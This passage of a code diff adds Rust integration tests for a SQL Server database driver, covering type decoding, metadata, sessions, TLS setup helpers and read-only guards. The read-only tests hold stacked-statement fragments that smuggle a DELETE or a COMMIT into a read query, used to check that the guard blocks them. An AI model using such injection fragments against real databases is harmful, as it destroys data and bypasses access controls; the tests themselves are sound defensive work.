+ let Value::Timestamp(Temporal::Finite(stamp)) = &row[2] else { + panic!("not a timestamp: {:?}", row[2]); + }; + assert_eq!( + stamp.format("%Y-%m-%dT%H:%M:%S%.9f").to_string(), + "2024-06-15T10:00:00.123456700" + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn geography_hierarchyid_browse_projects_text_value_slash_1_2() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE dbo.places (id int PRIMARY KEY, node hierarchyid, spot geography)", + "INSERT INTO dbo.places VALUES (1, hierarchyid::Parse('/1/2/'), geography::Point(47.65, -122.34, 4326))", + ], + ) + .await; + + let row = browse(connection.as_ref(), &dbo("places")).await.remove(0); + + assert_eq!(row[1], Value::Text("/1/2/".to_owned())); + assert!(text(&row[2]).starts_with("POINT ("), "{:?}", row[2]); +} + +async fn money_round_trip(connection: &dyn Connection, declared: &str, max: &str, min: &str) { + let create = format!("CREATE TABLE dbo.prices (id int PRIMARY KEY, price {declared})"); + let insert = format!("INSERT INTO dbo.prices VALUES (1, {max}), (2, {min})"); + setup(connection, &[&create, &insert]).await; + + let rows = browse(connection, &dbo("prices")).await; + + assert_eq!(rows[0][1], decimal(max)); + assert_eq!(rows[1][1], decimal(min)); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn money_max_min_exact() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + + money_round_trip( + connection.as_ref(), + "money", + "922337203685477.5807", + "-922337203685477.5808", + ) + .await; +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn smallmoney() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + + money_round_trip(connection.as_ref(), "smallmoney", "214748.3647", "-214748.3648").await; +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn datetimeoffset_plus_0530_round_trip_keeps_offset() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE dbo.events (at datetimeoffset(7) NULL)"], + ) + .await; + let table = dbo("events"); + let column = columns(connection.as_ref(), &table).await.remove(0); + let local = DateTime::parse_from_rfc3339("2024-06-15T13:45:30.1234567+05:30").expect("a timestamp"); + let value = Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime(local))); + + let dialect = connection.dialect(); + write( + connection.as_ref(), + vec![insert_one(dialect.as_ref(), &table, &column, value.clone())], + ) + .await + .expect("the insert"); + + assert_eq!(browse(connection.as_ref(), &table).await, vec![vec![value]]); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn varbinary_typed_null_insert() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE dbo.blobs (data varbinary(max) NULL)"], + ) + .await; + let table = dbo("blobs"); + let column = columns(connection.as_ref(), &table).await.remove(0); + + let dialect = connection.dialect(); + write( + connection.as_ref(), + vec![insert_one(dialect.as_ref(), &table, &column, Value::Null)], + ) + .await + .expect("a NULL typed as varbinary converts"); + + assert_eq!(browse(connection.as_ref(), &table).await, vec![vec![Value::Null]]); +} diff --git a/linux/crates/drivers/mssql/tests/integration/filter.rs b/linux/crates/drivers/mssql/tests/integration/filter.rs new file mode 100644 index 0000000000..398af57b45 --- /dev/null +++ b/linux/crates/drivers/mssql/tests/integration/filter.rs @@ -0,0 +1,47 @@ +//! Filters on an xml column, which takes neither LIKE nor `=`. + +use tablepro_core::filter::{FilterOp, FilterRule, FilterSet, FilterValue, build_filter}; +use tablepro_core::statement::StatementBuilder; +use tablepro_core::{RowLimit, Value}; + +use crate::support::{CALL, columns, connect, dbo, setup, start, within}; + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn contains_and_equals_on_xml() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE dbo.docs (id int PRIMARY KEY, body xml)", + "INSERT INTO dbo.docs VALUES (1, N'red'), (2, N'blue')", + ], + ) + .await; + let table = dbo("docs"); + let columns = columns(connection.as_ref(), &table).await; + let dialect = connection.dialect(); + + for (op, text) in [(FilterOp::Contains, "red"), (FilterOp::Eq, "red")] { + let mut builder = StatementBuilder::new(); + builder.push_sql(&format!("SELECT id FROM {} WHERE ", dialect.qualify(&table))); + let filter = FilterSet { + rules: vec![FilterRule { + column: "body".to_owned(), + op, + value: Some(FilterValue::Single(text.to_owned())), + }], + ..FilterSet::default() + }; + build_filter(&mut builder, dialect.as_ref(), &columns, &filter).expect("a filter"); + + let rows = connection + .query_bound(&builder.finish(), RowLimit::EDITOR_DEFAULT, within(CALL)) + .await + .expect("the filtered rows") + .rows; + + assert_eq!(rows, vec![vec![Value::Int(1)]], "{op:?}"); + } +} diff --git a/linux/crates/drivers/mssql/tests/integration/main.rs b/linux/crates/drivers/mssql/tests/integration/main.rs new file mode 100644 index 0000000000..2a06420776 --- /dev/null +++ b/linux/crates/drivers/mssql/tests/integration/main.rs @@ -0,0 +1,19 @@ +//! SQL Server against a real server. Every test that needs one starts +//! its own container and is ignored without Docker; SQL Server publishes +//! no arm64 image, so these run in CI. + +#![expect( + clippy::expect_used, + reason = "the setup helpers fail a test the way the test functions themselves do" +)] + +mod cancellation; +mod conformance_engine; +mod decode; +mod filter; +mod metadata; +mod read_only; +mod sessions; +mod support; +mod tls; +mod write_batch; diff --git a/linux/crates/drivers/mssql/tests/integration/metadata.rs b/linux/crates/drivers/mssql/tests/integration/metadata.rs new file mode 100644 index 0000000000..5383f8b78d --- /dev/null +++ b/linux/crates/drivers/mssql/tests/integration/metadata.rs @@ -0,0 +1,316 @@ +//! The catalogue as browse and the structure tab read it. + +use drivers_mssql::MssqlDialect; +use tablepro_core::column::{ColumnDefault, ColumnKind, ReadForm, TextLength}; +use tablepro_core::ddl::IdentityStyle; +use tablepro_core::dialect::{BindTarget, LikeForm}; +use tablepro_core::meta::{ObjectKind, ObjectScope, RowIdentity, TableRef}; +use tablepro_core::sql_ddl::{DraftColumn, build_alter_column}; +use tablepro_core::statement::StatementBuilder; +use tablepro_core::{RowLimit, Value}; + +use crate::support::{CALL, columns, connect, dbo, rows, scalar, setup, start, statement, within}; + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn catalog_classifies_money_alias_hierarchyid() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TYPE dbo.Phone FROM nvarchar(20) NOT NULL", + "CREATE TABLE dbo.mixed (id int PRIMARY KEY, price money, phone dbo.Phone, node hierarchyid, \ + spot geography, v sql_variant, stamp rowversion)", + ], + ) + .await; + + let columns = columns(connection.as_ref(), &dbo("mixed")).await; + let kind = |name: &str| { + columns + .iter() + .find(|column| column.name == name) + .map(|column| (column.column_type.kind.clone(), column.column_type.read_form)) + .expect("the column") + }; + + assert_eq!( + kind("price"), + (ColumnKind::Money { scale: Some(4) }, ReadForm::ServerNumeric) + ); + assert_eq!( + kind("phone"), + ( + ColumnKind::Text { + length: TextLength::Varying(20) + }, + ReadForm::Native + ) + ); + assert_eq!(kind("node"), (ColumnKind::Other, ReadForm::ServerText)); + assert_eq!(kind("spot"), (ColumnKind::Spatial, ReadForm::ServerText)); + assert_eq!(kind("v"), (ColumnKind::Variant, ReadForm::Native)); + assert!( + columns + .iter() + .any(|column| column.name == "stamp" && column.is_generated) + ); + assert_eq!( + columns + .iter() + .find(|column| column.name == "id") + .map(|column| column.primary_key), + Some(true) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn lists_objects_and_names_rows_by_key() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE dbo.keyed (tenant int NOT NULL, id int NOT NULL, CONSTRAINT PK_keyed PRIMARY KEY (tenant, id))", + "CREATE TABLE dbo.heap (v int)", + "CREATE VIEW dbo.keyed_view AS SELECT tenant, id FROM dbo.keyed", + ], + ) + .await; + + let objects = connection + .list_objects(&ObjectScope::DefaultSchema, within(CALL)) + .await + .expect("the objects"); + let identity = connection + .row_identity(&dbo("keyed"), within(CALL)) + .await + .expect("an identity"); + let heap = connection + .row_identity(&dbo("heap"), within(CALL)) + .await + .expect("an identity"); + + assert!( + objects + .iter() + .any(|object| object.name == "keyed" && object.kind == ObjectKind::Table) + ); + assert!( + objects + .iter() + .any(|object| object.name == "keyed_view" && object.kind == ObjectKind::View) + ); + assert_eq!( + identity, + RowIdentity::UniqueKey { + columns: vec!["tenant".to_owned(), "id".to_owned()] + } + ); + assert_eq!(heap, RowIdentity::Unordered); + let schemas = connection.list_schemas(within(CALL)).await.expect("the schemas"); + assert!(schemas.iter().any(|schema| schema.name == "dbo" && schema.is_default)); + assert!(schemas.iter().any(|schema| schema.name == "sys" && schema.is_system)); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn fetch_table_definition_reports_pk_name_collation_comment() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE dbo.people (id int IDENTITY(1,1) CONSTRAINT PK_people PRIMARY KEY, \ + name nvarchar(100) COLLATE Latin1_General_CS_AS NOT NULL, \ + note nvarchar(max) SPARSE NULL, \ + total AS (id * 2) PERSISTED)", + "EXEC sp_addextendedproperty @name = N'MS_Description', @value = N'what to call them', \ + @level0type = N'SCHEMA', @level0name = N'dbo', @level1type = N'TABLE', @level1name = N'people', \ + @level2type = N'COLUMN', @level2name = N'name'", + ], + ) + .await; + + let definition = connection + .fetch_table_definition(&dbo("people"), within(CALL)) + .await + .expect("the definition"); + + let primary = definition.primary_key.as_ref().expect("a primary key"); + assert_eq!(primary.name.as_deref(), Some("PK_people")); + assert_eq!(primary.columns, ["id"]); + let id = definition.column("id").expect("id"); + assert_eq!(id.attributes.identity, IdentityStyle::MssqlIdentity); + let name = definition.column("name").expect("name"); + assert_eq!( + name.attributes + .collation + .as_ref() + .map(|collation| collation.name.as_str()), + Some("Latin1_General_CS_AS") + ); + assert_eq!(name.info.comment.as_deref(), Some("what to call them")); + assert!(definition.column("note").expect("note").attributes.sparse); + assert!( + definition + .column("total") + .expect("total") + .attributes + .generated + .is_some() + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn fetch_table_definition_lists_inbound_foreign_keys() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE dbo.orders (id int PRIMARY KEY)", + "CREATE TABLE dbo.lines (id int PRIMARY KEY, order_id int \ + CONSTRAINT FK_lines_orders REFERENCES dbo.orders (id) ON DELETE CASCADE)", + ], + ) + .await; + + let orders = connection + .fetch_table_definition(&dbo("orders"), within(CALL)) + .await + .expect("the definition"); + let lines = connection + .fetch_foreign_keys(&dbo("lines"), within(CALL)) + .await + .expect("the foreign keys"); + + assert_eq!(orders.inbound_foreign_keys.len(), 1); + let inbound = &orders.inbound_foreign_keys[0]; + assert_eq!(inbound.name, "FK_lines_orders"); + assert_eq!(inbound.table, dbo("lines")); + assert_eq!(inbound.columns, ["order_id"]); + assert_eq!(inbound.referenced_columns, ["id"]); + assert!(lines[0].references(Some("dbo"), "orders")); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn default_constraint_name_is_read() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE dbo.jobs (id int PRIMARY KEY, state int CONSTRAINT [DF]]state] DEFAULT ((0)))"], + ) + .await; + + let definition = connection + .fetch_table_definition(&dbo("jobs"), within(CALL)) + .await + .expect("the definition"); + + let state = definition.column("state").expect("state"); + assert_eq!(state.attributes.default_constraint_name.as_deref(), Some("DF]state")); + assert_eq!(state.info.default, ColumnDefault::Literal(Value::Int(0))); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn alter_default_on_column_with_named_constraint() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE dbo.jobs (id int PRIMARY KEY, state int CONSTRAINT [DF]]state] DEFAULT ((0)))"], + ) + .await; + let table = dbo("jobs"); + let definition = connection + .fetch_table_definition(&table, within(CALL)) + .await + .expect("the definition"); + let dialect = MssqlDialect::new(connection.server_info().major); + let mut draft = DraftColumn::from_definition(definition.column("state").expect("state").clone()); + draft.default_value = Some("1".to_owned()); + + let statements = + build_alter_column("mssql", &dialect, Some("dbo"), "jobs", &draft).expect("the default change builds"); + let statements: Vec<&str> = statements.iter().map(String::as_str).collect(); + setup(connection.as_ref(), &statements).await; + + let state = connection + .fetch_table_definition(&table, within(CALL)) + .await + .expect("the definition"); + let state = state.column("state").expect("state"); + assert!( + state + .attributes + .default_constraint_name + .as_deref() + .is_some_and(|name| name != "DF]state"), + "{:?}", + state.attributes.default_constraint_name + ); + assert_eq!(state.info.default, ColumnDefault::Literal(Value::Int(1))); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn like_escape_matches_literal_underscore_and_percent() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE dbo.names (name nvarchar(20) NOT NULL)", + "INSERT INTO dbo.names VALUES (N'user_id'), (N'userXid'), (N'50%'), (N'[a]')", + ], + ) + .await; + let dialect = connection.dialect(); + let table = TableRef::new(Some("dbo".to_owned()), "names"); + let contains = |needle: &str| { + let mut builder = StatementBuilder::new(); + builder.push_sql(&format!("SELECT name FROM {} WHERE ", dialect.qualify(&table))); + let pattern = format!("%{}%", dialect.escape_like_text(needle)); + let marker = builder + .bind(dialect.as_ref(), Value::Text(pattern), BindTarget::Pattern) + .expect("a pattern"); + builder.push_sql(&dialect.like_predicate("[name]", &marker, LikeForm::contains())); + builder.finish() + }; + + for (needle, expected) in [("user_id", "user_id"), ("50%", "50%"), ("[a]", "[a]")] { + let found = connection + .query_bound(&contains(needle), RowLimit::EDITOR_DEFAULT, within(CALL)) + .await + .expect("a filtered read") + .rows; + assert_eq!(found, vec![vec![Value::Text(expected.to_owned())]], "{needle}"); + } + let estimate = connection + .table_estimate(&table, within(CALL)) + .await + .expect("an estimate"); + assert!(estimate.rows.value().is_some()); + assert_eq!( + connection + .count_rows(&statement("SELECT COUNT_BIG(*) FROM dbo.names"), within(CALL)) + .await + .expect("a count"), + 4 + ); + assert_eq!( + rows(connection.as_ref(), "SELECT 1 WHERE 1 = 0").await, + Vec::>::new() + ); + assert_eq!( + scalar(connection.as_ref(), "SELECT N'x'").await, + Value::Text("x".to_owned()) + ); +} diff --git a/linux/crates/drivers/mssql/tests/integration/read_only.rs b/linux/crates/drivers/mssql/tests/integration/read_only.rs new file mode 100644 index 0000000000..f3c5122f48 --- /dev/null +++ b/linux/crates/drivers/mssql/tests/integration/read_only.rs @@ -0,0 +1,79 @@ +//! Read-only connections: SQL Server cannot hold a session read-only, so +//! the guard rolls a stacked write back and a save is refused outright. + +use tablepro_core::{DriverError, ReadOnlyRefusal, RowLimit, Value, WriteKind}; + +use crate::support::{CALL, apply, connect, scalar, setup, start, statement, within}; + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn stacked_fragment_leaves_rows_unchanged() { + let fixture = start().await; + let owner = connect(&fixture, false).await; + setup( + owner.as_ref(), + &[ + "CREATE TABLE dbo.t (id int PRIMARY KEY)", + "INSERT INTO dbo.t VALUES (1), (2), (3)", + ], + ) + .await; + let reader = connect(&fixture, true).await; + + let read = reader + .query_bound( + &statement("SELECT * FROM dbo.t WHERE (1=1); DELETE FROM dbo.t; SELECT (1)"), + RowLimit::EDITOR_DEFAULT, + within(CALL), + ) + .await; + + assert!(read.is_ok(), "{read:?}"); + assert_eq!( + scalar(owner.as_ref(), "SELECT COUNT_BIG(*) FROM dbo.t").await, + Value::Int(3) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn write_batch_client_guard() { + let fixture = start().await; + let owner = connect(&fixture, false).await; + setup(owner.as_ref(), &["CREATE TABLE dbo.t (id int PRIMARY KEY)"]).await; + let reader = connect(&fixture, true).await; + + let saved = apply( + reader.as_ref(), + WriteKind::RowChanges, + &["INSERT INTO dbo.t VALUES (1)"], + ) + .await; + + assert_eq!(saved, Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard))); + assert_eq!( + scalar(owner.as_ref(), "SELECT COUNT_BIG(*) FROM dbo.t").await, + Value::Int(0) + ); +} + +/// A fragment that commits the guard's transaction itself is reported as +/// escaping the guard, never as a plain success. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn a_fragment_that_ends_the_guard_is_refused() { + let fixture = start().await; + let owner = connect(&fixture, false).await; + setup(owner.as_ref(), &["CREATE TABLE dbo.t (id int PRIMARY KEY)"]).await; + let reader = connect(&fixture, true).await; + + let read = reader + .query_bound( + &statement("SELECT 1; COMMIT TRANSACTION; SELECT 2"), + RowLimit::EDITOR_DEFAULT, + within(CALL), + ) + .await; + + assert_eq!(read.err(), Some(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard))); +} diff --git a/linux/crates/drivers/mssql/tests/integration/sessions.rs b/linux/crates/drivers/mssql/tests/integration/sessions.rs new file mode 100644 index 0000000000..01874bd9ae --- /dev/null +++ b/linux/crates/drivers/mssql/tests/integration/sessions.rs @@ -0,0 +1,111 @@ +//! Editor sessions: one connection per tab, batches as SQL batches, so +//! USE, SET and an open transaction last from one run to the next. + +use tablepro_core::{ResultEvent, RowLimit, RunOptions, TransactionState, Truncation, Value}; +use tokio_util::sync::CancellationToken; + +use crate::support::{connect, run, run_ok, run_with, scalar, session, setup, start}; + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn use_database_persists_across_runs() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + run_ok(session.as_ref(), "USE tempdb").await; + let database = run_ok(session.as_ref(), "SELECT DB_NAME()").await.rows(); + + assert_eq!(database, vec![vec![Value::Text("tempdb".to_owned())]]); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn begin_tran_insert_big_select_commit_persists() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + setup(connection.as_ref(), &["CREATE TABLE dbo.t (id int PRIMARY KEY)"]).await; + let session = session(connection.as_ref()).await; + + run_ok(session.as_ref(), "BEGIN TRANSACTION").await; + run_ok(session.as_ref(), "INSERT INTO dbo.t VALUES (1)").await; + let limited = RunOptions::new(CancellationToken::new()).with_row_limit(RowLimit::new(10).expect("a limit")); + let (big, _) = run_with( + session.as_ref(), + "SELECT TOP (50000) a.object_id FROM sys.all_objects a CROSS JOIN sys.all_objects b", + limited, + ) + .await; + assert_eq!(big.transaction_state, TransactionState::InTransaction); + run_ok(session.as_ref(), "COMMIT TRANSACTION").await; + + assert_eq!( + scalar(connection.as_ref(), "SELECT COUNT_BIG(*) FROM dbo.t").await, + Value::Int(1) + ); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn limit_100_over_200k_rows_read_past_limit_total() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + let limited = RunOptions::new(CancellationToken::new()).with_row_limit(RowLimit::new(100).expect("a limit")); + + let (_, events) = run_with( + session.as_ref(), + "SELECT TOP (200000) a.object_id FROM sys.all_objects a CROSS JOIN sys.all_objects b", + limited, + ) + .await; + + assert_eq!(events.rows().len(), 100); + assert_eq!( + events.finished(), + vec![ResultEvent::ResultSetFinished { + retained: 100, + total_rows: Some(200_000), + truncation: Truncation::ReadPastLimit, + }] + ); +} + +/// A transaction an error dooms is rolled back when its batch ends, so +/// `Failed` is only ever seen inside a batch; across runs the session +/// reports the open transaction and its end. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn transaction_state_in_transaction_and_failed() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + let (opened, _) = run(session.as_ref(), "BEGIN TRANSACTION").await; + let (failed, _) = run(session.as_ref(), "SELECT 1/0").await; + let (closed, _) = run(session.as_ref(), "ROLLBACK TRANSACTION").await; + + assert_eq!(opened.transaction_state, TransactionState::InTransaction); + assert!(!failed.succeeded()); + assert_eq!(failed.transaction_state, TransactionState::InTransaction); + assert_eq!(closed.transaction_state, TransactionState::Idle); +} + +/// GO splits a script into batches, and a failed batch does not stop the +/// next one, as in sqlcmd. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn go_batches_run_in_order_and_continue_after_an_error() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let session = session(connection.as_ref()).await; + + let (summary, events) = run( + session.as_ref(), + "SELECT 1\nGO\nSELECT * FROM no_such_table\nGO\nSELECT 3", + ) + .await; + + assert!(!summary.succeeded()); + assert_eq!(events.rows(), vec![vec![Value::Int(1)], vec![Value::Int(3)]]); +} diff --git a/linux/crates/drivers/mssql/tests/integration/support.rs b/linux/crates/drivers/mssql/tests/integration/support.rs new file mode 100644 index 0000000000..f14eb108df --- /dev/null +++ b/linux/crates/drivers/mssql/tests/integration/support.rs @@ -0,0 +1,285 @@ +//! What the SQL Server integration modules share: targets over the +//! fixture's port, one-line calls, and a sink that keeps what it gets. +//! +//! The fixture forces encryption, so every target asks for TLS unless a +//! case is about TLS itself. + +use std::sync::{Arc, Mutex, PoisonError}; +use std::time::Duration; + +use async_trait::async_trait; +use drivers_mssql::MssqlDriver; +use secrecy::SecretString; +use tablepro_core::column::ColumnInfo; +use tablepro_core::dialect::{BindTarget, SqlDialect}; +use tablepro_core::statement::{GuardedStatement, Statement, StatementBuilder}; +use tablepro_core::{ + CallOptions, ConnectEnvironment, ConnectOptions, ConnectTarget, Connection, Credentials, DatabaseDriver, + DriverError, EditorSession, EditorSessionOptions, ForeignKeyMode, LivenessPolicy, NetworkEndpoint, NetworkTarget, + ResultEvent, ResultSink, RowLimit, RunEnd, RunOptions, RunSummary, SinkFlow, TableRef, TlsConfig, TlsMode, + Transport, UserSql, Value, WorkspaceSettings, WriteBatch, WriteKind, WriteReport, +}; +use tablepro_net::DirectTcpTransport; +use tablepro_test_fixtures::{FixtureCredentials, MssqlFixture}; +use tablepro_test_support::conformance::test_liveness; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +pub const CALL: Duration = Duration::from_secs(30); +pub const DATABASE: &str = "master"; + +pub fn within(limit: Duration) -> CallOptions { + CallOptions::new(Some(Instant::now() + limit), CancellationToken::new()) +} + +pub fn statement(sql: &str) -> Statement { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + builder.finish() +} + +pub fn direct(host: &str, port: u16, liveness: &LivenessPolicy) -> Arc { + let endpoint = NetworkEndpoint::new(host, port).expect("a valid endpoint"); + Arc::new(DirectTcpTransport::new(endpoint, liveness)) +} + +pub fn password(credentials: &FixtureCredentials) -> Credentials { + Credentials::Password { + username: credentials.username.clone(), + password: SecretString::from(credentials.password.clone()), + } +} + +/// TLS without verification, which a server that forces encryption +/// needs and the test CA is not involved in. +pub fn require() -> TlsConfig { + TlsConfig { + mode: TlsMode::Require, + ..TlsConfig::disabled() + } +} + +pub fn options_over( + transport: Arc, + credentials: Credentials, + tls: TlsConfig, + settings: WorkspaceSettings, + liveness: LivenessPolicy, +) -> ConnectOptions { + ConnectOptions { + target: ConnectTarget::Network(NetworkTarget { + transport, + credentials, + database: Some(DATABASE.to_owned()), + tls, + }), + workspace_settings: settings, + liveness, + environment: ConnectEnvironment::new("test"), + } +} + +pub fn fixture_options(fixture: &MssqlFixture, tls: TlsConfig, settings: WorkspaceSettings) -> ConnectOptions { + let liveness = test_liveness(); + options_over( + direct(fixture.host(), fixture.port(), &liveness), + password(&fixture.password_credentials()), + tls, + settings, + liveness, + ) +} + +pub async fn dial(options: ConnectOptions) -> Result, DriverError> { + MssqlDriver.connect(options, CancellationToken::new()).await +} + +pub async fn connect(fixture: &MssqlFixture, read_only: bool) -> Arc { + dial(fixture_options( + fixture, + require(), + WorkspaceSettings::workspace(read_only), + )) + .await + .expect("a connection") +} + +pub async fn start() -> MssqlFixture { + MssqlFixture::start().await.expect("a SQL Server container") +} + +/// Run statements as one schema-change batch, for setup. +pub async fn setup(connection: &dyn Connection, statements: &[&str]) { + apply(connection, WriteKind::SchemaChanges, statements) + .await + .expect("the setup statements"); +} + +pub async fn apply( + connection: &dyn Connection, + kind: WriteKind, + statements: &[&str], +) -> Result { + let mut batch = batch(statements); + batch.kind = kind; + connection.write_batch(&batch, within(CALL)).await +} + +/// Row changes, each statement unguarded. +pub fn batch(statements: &[&str]) -> WriteBatch { + let steps = statements + .iter() + .map(|sql| GuardedStatement::unguarded(statement(sql))) + .collect(); + WriteBatch::new( + WriteKind::RowChanges, + TableRef::unqualified("t"), + steps, + ForeignKeyMode::Enforced, + ) +} + +pub async fn rows(connection: &dyn Connection, sql: &str) -> Vec> { + connection + .query_bound(&statement(sql), RowLimit::EDITOR_DEFAULT, within(CALL)) + .await + .expect("a read") + .rows +} + +pub async fn scalar(connection: &dyn Connection, sql: &str) -> Value { + rows(connection, sql) + .await + .into_iter() + .next() + .and_then(|row| row.into_iter().next()) + .expect("one value") +} + +pub fn dbo(name: &str) -> TableRef { + TableRef::new(Some("dbo".to_owned()), name) +} + +pub async fn columns(connection: &dyn Connection, table: &TableRef) -> Vec { + connection + .fetch_columns(table, within(CALL)) + .await + .expect("the table's columns") +} + +/// Read a table the way browse does: every column through the dialect's +/// projection. +pub async fn browse(connection: &dyn Connection, table: &TableRef) -> Vec> { + let dialect = connection.dialect(); + let projections: Vec = columns(connection, table) + .await + .iter() + .map(|column| dialect.projection(column)) + .collect(); + let sql = format!("SELECT {} FROM {}", projections.join(", "), dialect.qualify(table)); + rows(connection, &sql).await +} + +/// `INSERT INTO table (column) VALUES ()`. +pub fn insert_one(dialect: &dyn SqlDialect, table: &TableRef, column: &ColumnInfo, value: Value) -> Statement { + let mut builder = StatementBuilder::new(); + builder.push_sql(&format!( + "INSERT INTO {} ({}) VALUES (", + dialect.qualify(table), + dialect.quote_identifier(&column.name) + )); + builder + .push_value(dialect, value, BindTarget::Column(column)) + .expect("the value binds"); + builder.push_sql(")"); + builder.finish() +} + +pub async fn write(connection: &dyn Connection, statements: Vec) -> Result { + let steps = statements.into_iter().map(GuardedStatement::unguarded).collect(); + let batch = WriteBatch::new( + WriteKind::RowChanges, + TableRef::unqualified("t"), + steps, + ForeignKeyMode::Enforced, + ); + connection.write_batch(&batch, within(CALL)).await +} + +pub async fn session(connection: &dyn Connection) -> Arc { + connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await + .expect("an editor session") +} + +/// The events of one run, kept after the sink is gone. +#[derive(Debug, Clone, Default)] +pub struct Events(Arc>>); + +impl Events { + pub fn all(&self) -> Vec { + self.0.lock().unwrap_or_else(PoisonError::into_inner).clone() + } + + pub fn rows(&self) -> Vec> { + self.all() + .into_iter() + .filter_map(|event| match event { + ResultEvent::Rows(rows) => Some(rows), + _ => None, + }) + .flatten() + .collect() + } + + pub fn finished(&self) -> Vec { + self.all() + .into_iter() + .filter(|event| matches!(event, ResultEvent::ResultSetFinished { .. })) + .collect() + } +} + +#[async_trait] +impl ResultSink for Events { + async fn accept(&mut self, event: ResultEvent) -> SinkFlow { + self.0.lock().unwrap_or_else(PoisonError::into_inner).push(event); + SinkFlow::Continue + } +} + +pub async fn run_with(session: &dyn EditorSession, sql: &str, options: RunOptions) -> (RunSummary, Events) { + let events = Events::default(); + let summary = session + .run(UserSql::new(sql), options, Box::new(events.clone())) + .await + .expect("the session ran the script"); + (summary, events) +} + +pub async fn run(session: &dyn EditorSession, sql: &str) -> (RunSummary, Events) { + run_with(session, sql, RunOptions::new(CancellationToken::new())).await +} + +pub async fn run_ok(session: &dyn EditorSession, sql: &str) -> Events { + let (summary, events) = run(session, sql).await; + assert_eq!(summary.end, RunEnd::Completed, "`{sql}` did not complete"); + events +} + +pub fn quoted(name: &str) -> String { + format!("[{}]", name.replace(']', "]]")) +} + +/// The `hh:mm:ss.fff` WAITFOR DELAY takes. +pub fn delay(hold: Duration) -> String { + let millis = hold.as_millis(); + format!( + "{:02}:{:02}:{:02}.{:03}", + millis / 3_600_000, + millis / 60_000 % 60, + millis / 1_000 % 60, + millis % 1_000 + ) +} diff --git a/linux/crates/drivers/mssql/tests/integration/tls.rs b/linux/crates/drivers/mssql/tests/integration/tls.rs new file mode 100644 index 0000000000..91f7b923ba --- /dev/null +++ b/linux/crates/drivers/mssql/tests/integration/tls.rs @@ -0,0 +1,159 @@ +//! The TLS conformance suite against SQL Server, and the classification +//! cases its text-based TLS errors have to get right. +//! +//! The fixture forces encryption with a certificate the test CA issued +//! for `localhost` and `db.tablepro.test`. + +use std::path::{Path, PathBuf}; +use std::sync::Arc; + +use async_trait::async_trait; +use drivers_mssql::MssqlDriver; +use tablepro_core::{ + ConnectOptions, DatabaseDriver, DriverError, ErrorCategory, TlsConfig, TlsFailure, TlsMode, WorkspaceSettings, +}; +use tablepro_test_fixtures::{MssqlFixture, PkiFile, TestPki}; +use tablepro_test_support::conformance::{ConformanceFailure, TlsConformanceEngine, test_liveness}; + +use crate::support::{dial, direct, options_over, password, start}; + +pub struct 